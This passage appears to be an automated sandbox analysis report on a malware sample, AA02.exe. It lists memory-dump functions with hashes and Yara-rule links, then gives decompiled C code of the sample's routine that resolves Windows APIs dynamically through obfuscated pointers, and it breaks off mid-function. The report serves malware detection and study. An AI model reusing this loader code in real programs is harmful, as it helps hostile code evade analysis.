Instruction ID: 95c78880fc19b8b8e1580949d52171bc3c17c8ce3cdfd20889a49b061135a951
Opcode Fuzzy Hash: ff7ed030b18ea097b0e00270acc239a057c244473571f610394ac0ad60bdffad
Instruction Fuzzy Hash: DFC08C3200820C2BD6807671FF07BCA775CBB0130DF80C611B00992E07DE5CA2130248

Uniqueness

Uniqueness Score: -1.00%

Function 02A86220, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64561ee882136e4494f5d7d31f4d35129b99d7e7c0ce2b757e761394098432f3
Instruction ID: aa986f743ceaa7f0fe8f73e911e74816f2cd9a6957614f01b2fdde96c78d3c92
Opcode Fuzzy Hash: 64561ee882136e4494f5d7d31f4d35129b99d7e7c0ce2b757e761394098432f3
Instruction Fuzzy Hash: F1C08C330802084BD3102A14ED03740739C9340729F288710B5798A3E6DE2FE6228614

Uniqueness

Uniqueness Score: -1.00%

Function 02A85C48, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b43e5f630e832d07afbf1880f8eb7af43856dbbd8716a56c9cb3bddb6101670
Instruction ID: 12cd7d2c82191bb1fbdba5522b2353b4c638110d58834156f0a0b2b4e03f5694
Opcode Fuzzy Hash: 3b43e5f630e832d07afbf1880f8eb7af43856dbbd8716a56c9cb3bddb6101670
Instruction Fuzzy Hash: 74C0123104168A9BC2682F52E9033507BB9AB40608F840D1891C98362ADB6D50858B44

Uniqueness

Uniqueness Score: -1.00%

Function 02A8B120, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75961b6f565130fd9da778cdb485798885d29255788100cc47cb61eee4628230
Instruction ID: 60f473a88f07378b2d44d338043c54d4c7bf86f6e06a449430234fe575d1713c
Opcode Fuzzy Hash: 75961b6f565130fd9da778cdb485798885d29255788100cc47cb61eee4628230
Instruction Fuzzy Hash: AFC04873204200ABDB00A640EF0BB897A62A790708F05461AB20C82A82C66A8630AB55

Uniqueness

Uniqueness Score: -1.00%

Function 02A86840, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e25ea7d2d83d1740ce71e41459d88c2eede9fd46cf711d4ab4742b1dbe69577
Instruction ID: b28ce63fbb05dffaec0c5860db7ae34313caee4c4157cb2215eaa8db6a6baf45
Opcode Fuzzy Hash: 9e25ea7d2d83d1740ce71e41459d88c2eede9fd46cf711d4ab4742b1dbe69577
Instruction Fuzzy Hash: 47C04C1151404017ED05B164EB627C57252F75130AF68495051419BA47D65C9A128380

Uniqueness

Uniqueness Score: -1.00%

Function 02A85C20, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 489986aaeff20ed6c701041bf563698626450e78a0b07c44f405da957cea9afd
Instruction ID: 96a6642d1efd3fb6238c7216f29e60ffdc4fff0c7db3d613e4e4426d427c7979
Opcode Fuzzy Hash: 489986aaeff20ed6c701041bf563698626450e78a0b07c44f405da957cea9afd
Instruction Fuzzy Hash: B8C02BA26813800FCF08E631CF620103777F78120030848C590C1CF31ACE6C8846C780

Uniqueness

Uniqueness Score: -1.00%

Function 02A86DA0, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9448c1a2925d0f994940231169aae0d7e9013eecddf59577c9caab1b76fd3757
Instruction ID: 8602f43afc766924e78bf9d3160b1272d7731c674c3800e3e67c8911ff03795b
Opcode Fuzzy Hash: 9448c1a2925d0f994940231169aae0d7e9013eecddf59577c9caab1b76fd3757
Instruction Fuzzy Hash: 91C08CB86002018FD304AB20CC84A2B79E2EBE8719F41C429D2848A228CA79C850CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02A84D48, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a98773da8554a86447309f745557382b68aced043c30126038e89e667b0a31c9
Instruction ID: 49348946c98223e00fb2261dec33031f5896211491139323f2e533d918e4ab9d
Opcode Fuzzy Hash: a98773da8554a86447309f745557382b68aced043c30126038e89e667b0a31c9
Instruction Fuzzy Hash: C6B092B090530CAF8A10DFA9984185AB7ACDA0A118B0009EAEA0887310DA32A92056D2

Uniqueness

Uniqueness Score: -1.00%

Function 02A86230, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1c153948c43190ba698e86ada39524e2453044bce93a5a6b2be0da575cb87ed
Instruction ID: d5f396101cf54466478ca89338b3aebd8064016873f9260a41e8094ebf70a4bc
Opcode Fuzzy Hash: f1c153948c43190ba698e86ada39524e2453044bce93a5a6b2be0da575cb87ed
Instruction Fuzzy Hash: 63B0123201430C8787205B58F846511B39C56407347344354F13D4E2E5CE2BB8128655

Uniqueness

Uniqueness Score: -1.00%

Function 02A804B8, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2623d9009368011bf72455129186667d4ef8c79b3e0f6a1d4f80e1dab9ff1f96
Instruction ID: f4352369b41f6becd9360fdba3d7dd9cd4878410216a542d3ac3e9af669f1aa4
Opcode Fuzzy Hash: 2623d9009368011bf72455129186667d4ef8c79b3e0f6a1d4f80e1dab9ff1f96
Instruction Fuzzy Hash: 7FB092B4405308CF83609F55B0089103BE8A288712740002B958CC2B2AE7BE10148B58

Uniqueness

Uniqueness Score: -1.00%

Function 02A86878, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 270a6568ea446edbe75b9657e1c2a2e9710f09b26c8917ba376493757ae1b2ad
Instruction ID: 920d76be78751ad6c5e9829694d7f5e3ab17a2e8cb6a5a7ad71e0853756bedf1
Opcode Fuzzy Hash: 270a6568ea446edbe75b9657e1c2a2e9710f09b26c8917ba376493757ae1b2ad
Instruction Fuzzy Hash: 82B0123001434D4FC5807BB2F9154CC375C7A4164C3808911A00C07C166FA564024788

Uniqueness

Uniqueness Score: -1.00%

Function 02A85C58, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2015ee2792f5d079b528f228cf646dee8d73aa0642551843d1aa86c6788b8bd3
Instruction ID: 3c82e190ac247607d84adb0a31b8eabdd0d11f6e182bdaca86c0b1cbaa37ade1
Opcode Fuzzy Hash: 2015ee2792f5d079b528f228cf646dee8d73aa0642551843d1aa86c6788b8bd3
Instruction Fuzzy Hash: 57B0123004435E4FC5447BA3FA054A4376D658061C3800914904C47A1AAFAA24014788

Uniqueness

Uniqueness Score: -1.00%

Function 02A8FF3B, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d6013ec9b6eddbaada6a4d9c69e79ac216fde11dee8b1eb281c7727cf979da
Instruction ID: df7c522064c084eb884a8e7c8da3fc9c36127ecf64e4ffaf9ab5bff80b54522f
Opcode Fuzzy Hash: 17d6013ec9b6eddbaada6a4d9c69e79ac216fde11dee8b1eb281c7727cf979da
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02A8FCC0, Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

KGm, xrefs: 02A8FD0E
KGm, xrefs: 02A8FD02
KGm, xrefs: 02A8FD45
KGm, xrefs: 02A8FD51

Memory Dump Source

Source File: 00000010.00000002.497995028.0000000002A80000.00000040.00000001.sdmp, Offset: 02A80000, based on PE: false

Similarity

API ID:
String ID: KGm$KGm$KGm$KGm
API String ID: 0-3685086779
Opcode ID: 5dbae57acebc83a37396695ee17ebbf990b4748ea359a3c37ae80938f6668d6d
Instruction ID: 5c35791d7ce3ad68fb84d45d47fac475b5eb30d122595cd527711f491ac9260b
Opcode Fuzzy Hash: 5dbae57acebc83a37396695ee17ebbf990b4748ea359a3c37ae80938f6668d6d
Instruction Fuzzy Hash: B82127353042214F9714EB7AA8A0A6EB3CBEFC9599704847DD60ACF790EF21DC018391

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AA02.exe PID: 5976 Parent PID: 3352 AA02.exeCOMMON

Executed Functions

Function 0040C0B0, Relevance: 206.3, APIs: 137, Instructions: 832
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C0B0() {
				struct HINSTANCE__* _t2;
				CHAR* _t3;
				struct HINSTANCE__* _t6;
				CHAR* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				struct HINSTANCE__* _t10;
				CHAR* _t11;
				struct HINSTANCE__* _t14;
				CHAR* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				_Unknown_base(*)()* _t18;
				CHAR* _t19;
				struct HINSTANCE__* _t21;
				struct HINSTANCE__* _t22;
				CHAR* _t25;
				struct HINSTANCE__* _t27;
				CHAR* _t30;
				struct HINSTANCE__* _t32;
				CHAR* _t35;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t58;
				CHAR* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t62;
				CHAR* _t65;
				struct HINSTANCE__* _t67;
				CHAR* _t70;
				struct HINSTANCE__* _t72;
				CHAR* _t75;
				struct HINSTANCE__* _t77;
				CHAR* _t80;
				struct HINSTANCE__* _t82;
				struct HINSTANCE__* _t83;
				CHAR* _t86;
				struct HINSTANCE__* _t88;
				CHAR* _t91;
				struct HINSTANCE__* _t93;
				CHAR* _t96;
				struct HINSTANCE__* _t98;
				CHAR* _t101;
				struct HINSTANCE__* _t103;
				CHAR* _t106;
				CHAR* _t108;
				struct HINSTANCE__* _t110;
				CHAR* _t113;
				struct HINSTANCE__* _t115;
				CHAR* _t118;
				struct HINSTANCE__* _t120;
				struct HINSTANCE__* _t121;
				CHAR* _t122;
				struct HINSTANCE__* _t124;
				CHAR* _t127;
				struct HINSTANCE__* _t129;
				CHAR* _t132;
				struct HINSTANCE__* _t134;
				CHAR* _t137;
				struct HINSTANCE__* _t139;
				CHAR* _t142;
				struct HINSTANCE__* _t144;
				CHAR* _t147;
				struct HINSTANCE__* _t149;
				CHAR* _t152;
				struct HINSTANCE__* _t154;
				CHAR* _t157;
				struct HINSTANCE__* _t159;
				CHAR* _t162;
				struct HINSTANCE__* _t164;
				CHAR* _t167;
				struct HINSTANCE__* _t169;
				CHAR* _t172;
				struct HINSTANCE__* _t174;
				CHAR* _t177;
				struct HINSTANCE__* _t179;
				CHAR* _t182;
				struct HINSTANCE__* _t184;
				CHAR* _t187;
				struct HINSTANCE__* _t189;
				CHAR* _t192;
				struct HINSTANCE__* _t194;
				CHAR* _t197;
				struct HINSTANCE__* _t199;
				CHAR* _t202;
				struct HINSTANCE__* _t204;
				CHAR* _t207;
				struct HINSTANCE__* _t209;
				CHAR* _t211;
				CHAR* _t212;
				CHAR* _t213;
				CHAR* _t214;
				CHAR* _t215;
				CHAR* _t216;
				struct HINSTANCE__* _t217;
				CHAR* _t218;
				struct HINSTANCE__* _t219;
				CHAR* _t220;
				struct HINSTANCE__* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				struct HINSTANCE__* _t226;
				CHAR* _t227;
				struct HINSTANCE__* _t228;
				CHAR* _t229;
				struct HINSTANCE__* _t230;
				CHAR* _t231;
				struct HINSTANCE__* _t232;
				CHAR* _t233;
				struct HINSTANCE__* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				struct HINSTANCE__* _t243;
				CHAR* _t244;
				struct HINSTANCE__* _t245;
				CHAR* _t246;
				struct HINSTANCE__* _t247;
				CHAR* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				CHAR* _t257;
				struct HINSTANCE__* _t258;
				CHAR* _t259;
				struct HINSTANCE__* _t260;
				CHAR* _t261;
				struct HINSTANCE__* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				struct HINSTANCE__* _t265;
				CHAR* _t266;
				struct HINSTANCE__* _t267;
				CHAR* _t268;
				struct HINSTANCE__* _t269;
				CHAR* _t270;
				struct HINSTANCE__* _t271;
				CHAR* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				CHAR* _t299;
				CHAR* _t300;
				CHAR* _t301;
				struct HINSTANCE__* _t302;
				CHAR* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				CHAR* _t308;
				struct HINSTANCE__* _t309;
				struct HINSTANCE__* _t310;
				struct HINSTANCE__* _t311;
				CHAR* _t312;
				struct HINSTANCE__* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				CHAR* _t316;
				struct HINSTANCE__* _t317;
				CHAR* _t318;
				struct HINSTANCE__* _t319;
				CHAR* _t320;
				CHAR* _t321;
				struct HINSTANCE__* _t322;
				CHAR* _t323;
				struct HINSTANCE__* _t324;
				CHAR* _t325;
				struct HINSTANCE__* _t326;
				CHAR* _t327;
				struct HINSTANCE__* _t328;
				CHAR* _t329;
				struct HINSTANCE__* _t330;
				CHAR* _t331;
				CHAR* _t332;
				struct HINSTANCE__* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				struct HINSTANCE__* _t336;
				CHAR* _t337;
				struct HINSTANCE__* _t338;
				CHAR* _t339;
				struct HINSTANCE__* _t340;
				CHAR* _t341;
				struct HINSTANCE__* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				struct HINSTANCE__* _t347;
				CHAR* _t348;
				CHAR* _t349;
				CHAR* _t350;
				struct HINSTANCE__* _t351;
				CHAR* _t352;
				struct HINSTANCE__* _t353;
				CHAR* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;

				if( *0x4201ec != 0) {
					_t122 =  *0x41f864; // 0x8b3198
					_t263 =  *0x4201ec; // 0x74df0000
					 *0x420144 = GetProcAddress(_t263, _t122);
					_t350 =  *0x41fed0; // 0x8b30f0
					_t124 =  *0x4201ec; // 0x74df0000
					 *0x4201b4 = GetProcAddress(_t124, _t350);
					_t264 =  *0x41fa68; // 0x8ac6c0
					_t351 =  *0x4201ec; // 0x74df0000
					 *0x42014c = GetProcAddress(_t351, _t264);
					_t127 =  *0x41fe10; // 0x8b30d8
					_t265 =  *0x4201ec; // 0x74df0000
					 *0x420050 = GetProcAddress(_t265, _t127);
					_t352 =  *0x41fd84; // 0x8b3120
					_t129 =  *0x4201ec; // 0x74df0000
					 *0x4200a4 = GetProcAddress(_t129, _t352);
					_t266 =  *0x41fa18; // 0x8b3060
					_t353 =  *0x4201ec; // 0x74df0000
					 *0x420058 = GetProcAddress(_t353, _t266);
					_t132 =  *0x41fdf4; // 0x8b2ee0
					_t267 =  *0x4201ec; // 0x74df0000
					 *0x420218 = GetProcAddress(_t267, _t132);
					_t354 =  *0x41fc64; // 0x8b2fa0
					_t134 =  *0x4201ec; // 0x74df0000
					 *0x42009c = GetProcAddress(_t134, _t354);
					_t268 =  *0x41f8e0; // 0x8b3090
					_t355 =  *0x4201ec; // 0x74df0000
					 *0x420150 = GetProcAddress(_t355, _t268);
					_t137 =  *0x41fa60; // 0x8b3138
					_t269 =  *0x4201ec; // 0x74df0000
					 *0x4201f8 = GetProcAddress(_t269, _t137);
					_t356 =  *0x41ff64; // 0x8b3180
					_t139 =  *0x4201ec; // 0x74df0000
					 *0x420168 = GetProcAddress(_t139, _t356);
					_t270 =  *0x41fc48; // 0x8b2f10
					_t357 =  *0x4201ec; // 0x74df0000
					 *0x4201a0 = GetProcAddress(_t357, _t270);
					_t142 =  *0x41fca8; // 0x8b2f40
					_t271 =  *0x4201ec; // 0x74df0000
					 *0x42006c = GetProcAddress(_t271, _t142);
					_t358 =  *0x41fb54; // 0x8b2f88
					_t144 =  *0x4201ec; // 0x74df0000
					 *0x420224 = GetProcAddress(_t144, _t358);
					_t272 =  *0x41f970; // 0x8ac8c0
					_t359 =  *0x4201ec; // 0x74df0000
					 *0x420128 = GetProcAddress(_t359, _t272);
					_t147 =  *0x41f9a8; // 0x8b2fb8
					_t273 =  *0x4201ec; // 0x74df0000
					 *0x420130 = GetProcAddress(_t273, _t147);
					_t360 =  *0x41ff54; // 0x8ac5c0
					_t149 =  *0x4201ec; // 0x74df0000
					 *0x420234 = GetProcAddress(_t149, _t360);
					_t274 =  *0x41fda0; // 0x8af1b8
					_t361 =  *0x4201ec; // 0x74df0000
					 *0x420098 = GetProcAddress(_t361, _t274);
					_t152 =  *0x41f88c; // 0x8b2fd0
					_t275 =  *0x4201ec; // 0x74df0000
					 *0x420248 = GetProcAddress(_t275, _t152);
					_t362 =  *0x41fab8; // 0x8ac600
					_t154 =  *0x4201ec; // 0x74df0000
					 *0x420010 = GetProcAddress(_t154, _t362);
					_t276 =  *0x41fe0c; // 0x8b3330
					_t363 =  *0x4201ec; // 0x74df0000
					 *0x420090 = GetProcAddress(_t363, _t276);
					_t157 =  *0x41f7fc; // 0x8ac720
					_t277 =  *0x4201ec; // 0x74df0000
					 *0x420250 = GetProcAddress(_t277, _t157);
					_t364 =  *0x41f9c8; // 0x8ac7c0
					_t159 =  *0x4201ec; // 0x74df0000
					 *0x420228 = GetProcAddress(_t159, _t364);
					_t278 =  *0x41f8a0; // 0x8b31b0
					_t365 =  *0x4201ec; // 0x74df0000
					 *0x4201d4 = GetProcAddress(_t365, _t278);
					_t162 =  *0x41f8e4; // 0x8b31c8
					_t279 =  *0x4201ec; // 0x74df0000
					 *0x420108 = GetProcAddress(_t279, _t162);
					_t366 =  *0x41fc0c; // 0x8b3450
					_t164 =  *0x4201ec; // 0x74df0000
					 *0x420084 = GetProcAddress(_t164, _t366);
					_t280 =  *0x41fd00; // 0x8b3360
					_t367 =  *0x4201ec; // 0x74df0000
					 *0x42000c = GetProcAddress(_t367, _t280);
					_t167 =  *0x41f940; // 0x8ac680
					_t281 =  *0x4201ec; // 0x74df0000
					 *0x420100 = GetProcAddress(_t281, _t167);
					_t368 =  *0x41fcd8; // 0x8b31f8
					_t169 =  *0x4201ec; // 0x74df0000
					 *0x420258 = GetProcAddress(_t169, _t368);
					_t282 =  *0x41fd7c; // 0x8b31e0
					_t369 =  *0x4201ec; // 0x74df0000
					 *0x4200c4 = GetProcAddress(_t369, _t282);
					_t172 =  *0x41fa14; // 0x8b3258
					_t283 =  *0x4201ec; // 0x74df0000
					 *0x42004c = GetProcAddress(_t283, _t172);
					_t370 =  *0x41fba4; // 0x8ac740
					_t174 =  *0x4201ec; // 0x74df0000
					 *0x420038 = GetProcAddress(_t174, _t370);
					_t284 =  *0x41fb50; // 0x8b3210
					_t371 =  *0x4201ec; // 0x74df0000
					 *0x420064 = GetProcAddress(_t371, _t284);
					_t177 =  *0x41f7f8; // 0x8b3228
					_t285 =  *0x4201ec; // 0x74df0000
					 *0x4200a8 = GetProcAddress(_t285, _t177);
					_t372 =  *0x41fe58; // 0x8b3378
					_t179 =  *0x4201ec; // 0x74df0000
					 *0x420054 = GetProcAddress(_t179, _t372);
					_t286 =  *0x41fc04; // 0x8b32a0
					_t373 =  *0x4201ec; // 0x74df0000
					 *0x42016c = GetProcAddress(_t373, _t286);
					_t182 =  *0x41fb10; // 0x8b3390
					_t287 =  *0x4201ec; // 0x74df0000
					 *0x420254 = GetProcAddress(_t287, _t182);
					_t374 =  *0x41fcfc; // 0x8ac6e0
					_t184 =  *0x4201ec; // 0x74df0000
					 *0x420048 = GetProcAddress(_t184, _t374);
					_t288 =  *0x41f8ec; // 0x8ac620
					_t375 =  *0x4201ec; // 0x74df0000
					 *0x420044 = GetProcAddress(_t375, _t288);
					_t187 =  *0x41fbd4; // 0x8b3240
					_t289 =  *0x4201ec; // 0x74df0000
					 *0x4201b0 = GetProcAddress(_t289, _t187);
					_t376 =  *0x41fbcc; // 0x8b3468
					_t189 =  *0x4201ec; // 0x74df0000
					 *0x420164 = GetProcAddress(_t189, _t376);
					_t290 =  *0x41f7dc; // 0x8ac700
					_t377 =  *0x4201ec; // 0x74df0000
					 *0x420238 = GetProcAddress(_t377, _t290);
					_t192 =  *0x41f934; // 0x8af190
					_t291 =  *0x4201ec; // 0x74df0000
					 *0x420134 = GetProcAddress(_t291, _t192);
					_t378 =  *0x41f8c8; // 0x8b3270
					_t194 =  *0x4201ec; // 0x74df0000
					 *0x420068 = GetProcAddress(_t194, _t378);
					_t292 =  *0x41f954; // 0x8b3288
					_t379 =  *0x4201ec; // 0x74df0000
					 *0x420004 = GetProcAddress(_t379, _t292);
					_t197 =  *0x41fbac; // 0x8ac5e0
					_t293 =  *0x4201ec; // 0x74df0000
					 *0x420140 = GetProcAddress(_t293, _t197);
					_t380 =  *0x41fdfc; // 0x8ac780
					_t199 =  *0x4201ec; // 0x74df0000
					 *0x42008c = GetProcAddress(_t199, _t380);
					_t294 =  *0x41fb88; // 0x8ac760
					_t381 =  *0x4201ec; // 0x74df0000
					 *0x41fff8 = GetProcAddress(_t381, _t294);
					_t202 =  *0x41fa88; // 0x8b32b8
					_t295 =  *0x4201ec; // 0x74df0000
					 *0x420000 = GetProcAddress(_t295, _t202);
					_t382 =  *0x41fd9c; // 0x8ac640
					_t204 =  *0x4201ec; // 0x74df0000
					 *0x4200c0 = GetProcAddress(_t204, _t382);
					_t296 =  *0x41ff28; // 0x8b33a8
					_t383 =  *0x4201ec; // 0x74df0000
					 *0x42010c = GetProcAddress(_t383, _t296);
					_t207 =  *0x41f888; // 0x8ac7a0
					_t297 =  *0x4201ec; // 0x74df0000
					 *0x4201ac = GetProcAddress(_t297, _t207);
					_t384 =  *0x41fe54; // 0x8ac660
					_t209 =  *0x4201ec; // 0x74df0000
					 *0x420034 = GetProcAddress(_t209, _t384);
				}
				_t211 =  *0x41f7ec; // 0x8b30a8
				 *0x4200f8 = LoadLibraryA(_t211);
				_t298 =  *0x41f994; // 0x8b2ef8
				_t2 = LoadLibraryA(_t298); // executed
				 *0x420078 = _t2;
				_t3 =  *0x41fda4; // 0x8b2fe8
				 *0x420230 = LoadLibraryA(_t3);
				_t212 =  *0x41fa6c; // 0x8b3000
				 *0x42011c = LoadLibraryA(_t212);
				_t299 =  *0x41f9ec; // 0x8b3078
				_t6 = LoadLibraryA(_t299); // executed
				 *0x4201d0 = _t6;
				_t7 =  *0x41ff24; // 0x8b3018
				_t8 = LoadLibraryA(_t7); // executed
				 *0x4200e0 = _t8;
				_t213 =  *0x41f990; // 0x8b2f58
				_t9 = LoadLibraryA(_t213); // executed
				 *0x4201c4 = _t9;
				_t300 =  *0x41fd14; // 0x8b3030
				_t10 = LoadLibraryA(_t300); // executed
				 *0x420208 = _t10;
				_t11 =  *0x41f854; // 0x8b2ec8
				 *0x4200fc = LoadLibraryA(_t11);
				_t214 =  *0x41fd4c; // 0x8b3150
				 *0x420220 = LoadLibraryA(_t214);
				_t301 =  *0x41fe30; // 0x8b2f70
				_t14 = LoadLibraryA(_t301); // executed
				 *0x4200cc = _t14;
				_t15 =  *0x41f9d8; // 0x8b3048
				_t16 = LoadLibraryA(_t15); // executed
				 *0x420110 = _t16;
				_t215 =  *0x41fd38; // 0x8b30c0
				_t17 = LoadLibraryA(_t215); // executed
				 *0x420210 = _t17;
				if( *0x4200f8 != 0) {
					_t349 =  *0x41fc4c; // 0x8b2d58
					_t121 =  *0x4200f8; // 0x775e0000
					_t17 = GetProcAddress(_t121, _t349);
					 *0x4201e0 = _t17;
				}
				if( *0x420078 != 0) {
					_t257 =  *0x41fc3c; // 0x8b3480
					_t343 =  *0x420078; // 0x6fc40000
					 *0x4200e8 = GetProcAddress(_t343, _t257);
					_t108 =  *0x41fa08; // 0x8ac7e0
					_t258 =  *0x420078; // 0x6fc40000
					 *0x4201fc = GetProcAddress(_t258, _t108);
					_t344 =  *0x41fcdc; // 0x8ac840
					_t110 =  *0x420078; // 0x6fc40000
					 *0x420240 = GetProcAddress(_t110, _t344);
					_t259 =  *0x41fd0c; // 0x8ac800
					_t345 =  *0x420078; // 0x6fc40000
					 *0x4201cc = GetProcAddress(_t345, _t259);
					_t113 =  *0x41fb80; // 0x8b32d0
					_t260 =  *0x420078; // 0x6fc40000
					 *0x42024c = GetProcAddress(_t260, _t113);
					_t346 =  *0x41f9e8; // 0x8ac820
					_t115 =  *0x420078; // 0x6fc40000
					 *0x4200e4 = GetProcAddress(_t115, _t346);
					_t261 =  *0x41fd10; // 0x8ac860
					_t347 =  *0x420078; // 0x6fc40000
					 *0x420114 = GetProcAddress(_t347, _t261);
					_t118 =  *0x41fc08; // 0x8ac880
					_t262 =  *0x420078; // 0x6fc40000
					 *0x41fff4 = GetProcAddress(_t262, _t118);
					_t348 =  *0x41fa24; // 0x8ac8a0
					_t120 =  *0x420078; // 0x6fc40000
					_t17 = GetProcAddress(_t120, _t348);
					 *0x4200ec = _t17;
				}
				if( *0x420230 != 0) {
					_t249 =  *0x41fac4; // 0x8b32e8
					_t336 =  *0x420230; // 0x768f0000
					 *0x420018 = GetProcAddress(_t336, _t249);
					_t91 =  *0x41fde4; // 0x8b3408
					_t250 =  *0x420230; // 0x768f0000
					 *0x42013c = GetProcAddress(_t250, _t91);
					_t337 =  *0x41fdb0; // 0x8ac8e0
					_t93 =  *0x420230; // 0x768f0000
					 *0x42017c = GetProcAddress(_t93, _t337);
					_t251 =  *0x41fcd4; // 0x8ac540
					_t338 =  *0x420230; // 0x768f0000
					 *0x42018c = GetProcAddress(_t338, _t251);
					_t96 =  *0x41fb98; // 0x8b3300
					_t252 =  *0x420230; // 0x768f0000
					 *0x4201b8 = GetProcAddress(_t252, _t96);
					_t339 =  *0x41fdf0; // 0x8b2df8
					_t98 =  *0x420230; // 0x768f0000
					 *0x42022c = GetProcAddress(_t98, _t339);
					_t253 =  *0x41fa44; // 0x8ac560
					_t340 =  *0x420230; // 0x768f0000
					 *0x42023c = GetProcAddress(_t340, _t253);
					_t101 =  *0x41fdc0; // 0x8ac580
					_t254 =  *0x420230; // 0x768f0000
					 *0x42001c = GetProcAddress(_t254, _t101);
